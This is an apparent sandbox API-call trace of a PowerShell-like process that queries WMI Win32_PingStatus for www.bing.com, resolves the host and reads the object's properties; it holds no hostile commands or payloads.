[0136.710] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.710] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3c8 | out: puCount=0x59fe3c8*=0x2) returned 0x0 [0136.710] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3c4*=0xf, pszText=0x0) returned 0x0 [0136.710] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3c4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3c4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.710] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x281447c*=0, plFlavor=0x2814480*=0 | out: pVal=0x59fe3c4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea010*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x281447c*=8200, plFlavor=0x2814480*=64) returned 0x0 [0136.710] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59fe3cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x281447c*=8200, plFlavor=0x2814480*=64 | out: pVal=0x59fe3cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x281447c*=8200, plFlavor=0x2814480*=64) returned 0x0 [0136.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3e0 | out: puCount=0x59fe3e0*=0x2) returned 0x0 [0136.711] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3dc*=0xf, pszText=0x0) returned 0x0 [0136.711] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3dc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe3e0 | out: puCount=0x59fe3e0*=0x2) returned 0x0 [0136.712] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0x0, pszText=0x0 | out: puBuffLength=0x59fe3dc*=0xf, pszText=0x0) returned 0x0 [0136.712] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe3dc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe3dc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.712] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe3e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe3dc | out: pNames=0x59fe3dc*="\x01ƀ\x04") returned 0x0 [0136.712] SafeArrayGetDim (psa=0x5cea1c0) returned 0x1 [0136.712] SafeArrayGetDim (psa=0x5cea1c0) returned 0x1 [0136.712] SafeArrayGetLBound (in: psa=0x5cea1c0, nDim=0x1, plLbound=0x59fe274 | out: plLbound=0x59fe274) returned 0x0 [0136.712] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.712] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.712] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.712] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.712] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.712] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.712] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.712] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.712] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.712] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.712] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.712] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.712] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.713] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.713] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.713] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.713] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.713] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.713] SysStringByteLen (bstr="__PATH") returned 0xc [0136.713] SysStringByteLen (bstr="__PATH") returned 0xc [0136.713] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814d0c*=0, plFlavor=0x2814d10*=0 | out: pVal=0x59fe3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2814d0c*=3, plFlavor=0x2814d10*=64) returned 0x0 [0136.713] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814d40*=0, plFlavor=0x2814d44*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2814d40*=8, plFlavor=0x2814d44*=64) returned 0x0 [0136.713] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.713] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.713] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814d98*=0, plFlavor=0x2814d9c*=0 | out: pVal=0x59fe3d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814d98*=8, plFlavor=0x2814d9c*=64) returned 0x0 [0136.714] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814dc0*=0, plFlavor=0x2814dc4*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2814dc0*=8, plFlavor=0x2814dc4*=64) returned 0x0 [0136.714] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.714] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.714] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814e18*=0, plFlavor=0x2814e1c*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2814e18*=8, plFlavor=0x2814e1c*=64) returned 0x0 [0136.714] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.714] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.714] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2814ff0*=0, plFlavor=0x2814ff4*=0 | out: pVal=0x59fe3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2814ff0*=3, plFlavor=0x2814ff4*=64) returned 0x0 [0136.714] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2815024*=0, plFlavor=0x2815028*=0 | out: pVal=0x59fe3d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea040*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2815024*=8200, plFlavor=0x2815028*=64) returned 0x0 [0136.715] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2815058*=0, plFlavor=0x281505c*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2815058*=8, plFlavor=0x281505c*=64) returned 0x0 [0136.715] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.715] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.715] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28150a4*=0, plFlavor=0x28150a8*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28150a4*=8, plFlavor=0x28150a8*=64) returned 0x0 [0136.715] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.715] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.715] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28150f0*=0, plFlavor=0x28150f4*=0 | out: pVal=0x59fe3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28150f0*=8, plFlavor=0x28150f4*=64) returned 0x0 [0136.715] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.715] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0136.715] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0136.715] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.716] IWbemClassObject:Get (in: This=0x5ce4808, wszName="address", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2815324*=0, plFlavor=0x2815328*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2815324*=8, plFlavor=0x2815328*=0) returned 0x0 [0136.716] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0136.716] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0136.716] IWbemClassObject:Get (in: This=0x5ce4808, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2815324*=8, plFlavor=0x2815328*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2815324*=8, plFlavor=0x2815328*=0) returned 0x0 [0136.716] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0136.716] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0136.716] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe4b8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe460 | out: ppResult=0x59fe460*=0x5ceba30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6cb0*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5ceb9e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6c50*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0136.771] FreeAddrInfoW (pAddrInfo=0x5ceba30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6cb0*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5ceb9e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6c50*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0136.771] CoCreateGuid (in: pguid=0x59fe578 | out: pguid=0x59fe578*(Data1=0xf7b7c90, Data2=0xc832, Data3=0x4853, Data4=([0]=0x9b, [1]=0x40, [2]=0xef, [3]=0xc9, [4]=0x48, [5]=0xcf, [6]=0xc6, [7]=0x69))) returned 0x0 [0136.771] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.771] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.772] EtwEventActivityIdControl () returned 0x0 [0136.772] EtwEventActivityIdControl () returned 0x0 [0136.772] EtwEventActivityIdControl () returned 0x0 [0136.772] EtwEventActivityIdControl () returned 0x0 [0136.772] EtwEventActivityIdControl () returned 0x0 [0136.772] EtwEventActivityIdControl () returned 0x0 [0136.773] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe194 | out: lpPerformanceCount=0x59fe194*=1177775024602) returned 1 [0136.777] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe15c | out: lpPerformanceCount=0x59fe15c*=1177775455420) returned 1 [0136.778] EtwEventActivityIdControl () returned 0x0 [0136.778] EtwEventActivityIdControl () returned 0x0 [0136.778] EtwEventActivityIdControl () returned 0x0 [0136.778] EtwEventActivityIdControl () returned 0x0 [0136.783] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0136.783] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0136.783] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.783] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0136.783] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0136.783] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.783] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0136.784] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0136.784] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0136.784] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0136.784] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.784] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.784] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.784] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.784] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.784] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.784] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.784] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.784] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.784] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.784] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.784] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.784] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.784] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.784] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.784] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.784] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.785] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.785] SysStringByteLen (bstr="__PATH") returned 0xc [0136.785] SysStringByteLen (bstr="__PATH") returned 0xc [0136.785] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28240d8*=0, plFlavor=0x28240dc*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28240d8*=3, plFlavor=0x28240dc*=64) returned 0x0 [0136.785] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282410c*=0, plFlavor=0x2824110*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282410c*=8, plFlavor=0x2824110*=64) returned 0x0 [0136.785] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.785] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.785] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824164*=0, plFlavor=0x2824168*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824164*=8, plFlavor=0x2824168*=64) returned 0x0 [0136.785] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282418c*=0, plFlavor=0x2824190*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282418c*=8, plFlavor=0x2824190*=64) returned 0x0 [0136.785] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.786] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.786] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28241e4*=0, plFlavor=0x28241e8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28241e4*=8, plFlavor=0x28241e8*=64) returned 0x0 [0136.786] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.786] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.786] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28243bc*=0, plFlavor=0x28243c0*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28243bc*=3, plFlavor=0x28243c0*=64) returned 0x0 [0136.786] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28243f0*=0, plFlavor=0x28243f4*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea010*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28243f0*=8200, plFlavor=0x28243f4*=64) returned 0x0 [0136.786] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824424*=0, plFlavor=0x2824428*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2824424*=8, plFlavor=0x2824428*=64) returned 0x0 [0136.786] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.786] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.787] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824470*=0, plFlavor=0x2824474*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2824470*=8, plFlavor=0x2824474*=64) returned 0x0 [0136.787] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.787] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.787] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28244bc*=0, plFlavor=0x28244c0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28244bc*=8, plFlavor=0x28244c0*=64) returned 0x0 [0136.787] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.787] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0136.787] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0136.787] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.787] IWbemClassObject:Get (in: This=0x5ce4808, wszName="BufferSize", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28246fc*=0, plFlavor=0x2824700*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28246fc*=19, plFlavor=0x2824700*=0) returned 0x0 [0136.788] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0136.788] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 